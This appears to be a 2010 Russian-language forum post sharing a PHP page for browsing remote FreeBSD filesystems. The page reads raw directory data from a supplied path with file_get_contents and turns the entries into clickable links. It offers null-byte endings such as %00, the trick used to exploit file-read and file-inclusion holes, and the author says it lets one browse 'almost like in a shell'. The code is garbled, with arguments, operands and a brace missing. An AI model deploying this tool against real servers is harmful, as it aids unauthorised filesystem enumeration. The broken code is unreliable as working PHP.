FREEBSD dir parser remix

Discussion in 'PHP' started by Pashkela, 10 Feb 2010.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    /threadnav55237-1-10.html

    просто теперь можно лазить почти как в шелле (папки, подпапки, файлы - все в виде обычных ссылок - если доступны для чтения), поддержка ендов (%00 и т.д., запоминаются через кукисы - в общем все правится прямо в форме) - доделал для себя, может кому еще пригодится:

    PHP:
    <html>  
    <head>  
    <title>FreeBSD dir parser</title>  
    <style>  
        body { background-color:#444;font: 9pt Lucida,Verdana;color:#fff;margin: 5; }  
        a { text-decoration:none; color:#df5; }  
    </style>
    <script type="text/javascript">
    var remembervalues_days=60
    var dyncookiename=encodeURI(window.location.pathname)
    var recallinput=function(){
       var cookienamevalue=rememberinput.getCookie(dyncookiename).split("##")
       for (var i=0; i<cookienamevalue.length; i++){
          var cookiename=cookienamevalue[i].split("#")[0]
          var cookievalue=cookienamevalue[i].split("#")[1]
          if (document.getElementById(cookiename)!=null && document.getElementById(cookiename).type=="text")
              document.getElementById(cookiename).value=decodeURI(cookievalue)
       }
    }
    var rememberinput=function(){
       var rememberit=""
       for (var i=0; i<arguments.length; i++){
          if (document.getElementById(arguments[i]).type=="text" && document.getElementById(arguments[i]).value!="")
             rememberit+=arguments[i]+"#"+encodeURI(document.getElementById(arguments[i]).value)+"##"
       }
       rememberinput.setCookie(dyncookiename, rememberit, remembervalues_days)
    }
    rememberinput.getCookie=function(Name){
        var re=new RegExp(Name+"=[^;]+", "i");
        if (document.cookie.match(re))
        return document.cookie.match(re)[0].split("=")[1] //return its value
        return ""
    }
    rememberinput.setCookie=function(name, value, days){
        var expireDate = new Date()
        var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days))
        document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+";";
    }
    if (window.addEventListener)
    window.addEventListener("load", recallinput, false)
    else if (window.attachEvent)
    window.attachEvent("onload", recallinput)
    else if (document.getElementById)
    window.onload=recallinput
    </script>  
    </head>  
    <body>  
    <script language="javascript">
    function locatehref(arraynum){ 
      var arraynum; 
      var whathref; 
      whathref = document.links[arraynum].href; 
      document.vvod.pole.value = whathref;
      document.vvod.submit();

    </script>  
    <form method="post" name = "vvod" onSubmit="rememberinput('end')">  
    Path: <input type="text" id = "pole" name="pole" SIZE=100 value="<?=htmlspecialchars($_POST['pole']);?>"/> END: <input type="text" id = "end" name="end" SIZE=10 value="" /> <input type="submit"/></form>  
    <pre>  
    <?php  
    error_reporting
    );  
    set_time_limit);  
    if ( isset( 
    $_POST['pole'] ) )
        
    $start $_POST['pole'];
        
    $end $_POST['end'];
        
    $str = @file_get_contents$_POST['pole'] . $end);
    if ( !empty( 
    $str ) ) {  
        
    $content = array( 'dirs' => array(), 'files' => array(), 'links' => array() );  
        function 
    getItem$type, &$i ) {  
            
    $item_len ord$GLOBALS['str'][$i+1] );  
            if( 
    $item_len && ( ord($GLOBALS['str'][$i+2]) != ) ) { 
                
    $item substr$GLOBALS['str'], $i+2$item_len ); 
                if( 
    strpos($item"\0") !== false 
                    return; 
                
    $GLOBALS['content'][$type][] = substr$GLOBALS['str'], $i+2$item_len ); 
            } else 
                
    $item_len 0;  
            
    $i += $item_len;  
        }  
        
    $len strlen$str );  
        for( 
    $i 0$i $len$i++ ) {  
            if( 
    ord$str[$i] ) != )  
                continue;  
            
    $i++;  
            
    $char ord$str[$i] );  
            if( 
    $char == 0x04 )  
                
    getItem('dirs'$i);  
            elseif( 
    $char == 0x08 )  
                
    getItem('files'$i);  
            elseif( 
    $char == 0x0a )  
                
    getItem('links'$i);  
        }  
        
    sort($content['dirs']);
        
    sort($content['files']);
        
    sort($content['links']);
        
    $a 0;
        foreach( 
    $content['dirs'] as $item ) {  
             
    $temp $_POST['pole'] . $item;
             if (
    $temp == $start){
               echo 
    "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item "' onclick='javascript:locatehref("$a .");return false;'>".$item."</a> ]\n";
             } else {
               echo 
    "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item "/" .  "' onclick='javascript:locatehref("$a .");return false;'>".$item."</a> ]\n";         
             }           
             
    $a++;          
        }        
        foreach( 
    $content['files'] as $item ) {  
             echo 
    "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item "' onclick='javascript:locatehref("$a .");return false;'>".$item."</a> ]\n";
             
    $a++;       
        }          
        foreach( 
    $content['links'] as $item ) { 
             echo 
    "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item "' onclick='javascript:locatehref("$a .");return false;'>".$item."</a> ]\n";
             
    $a++;       
        }       
    }  
    ?>  
    </pre>
    <a href="/thread55237.html">Original /thread55237.html</a>  
    </body>  
    </html> 
    thx 2 Scipio & oRb

    Javascript = on, cookies = on
     
    #1 Pashkela, 10 Feb 2010
    Last edited: 10 Feb 2010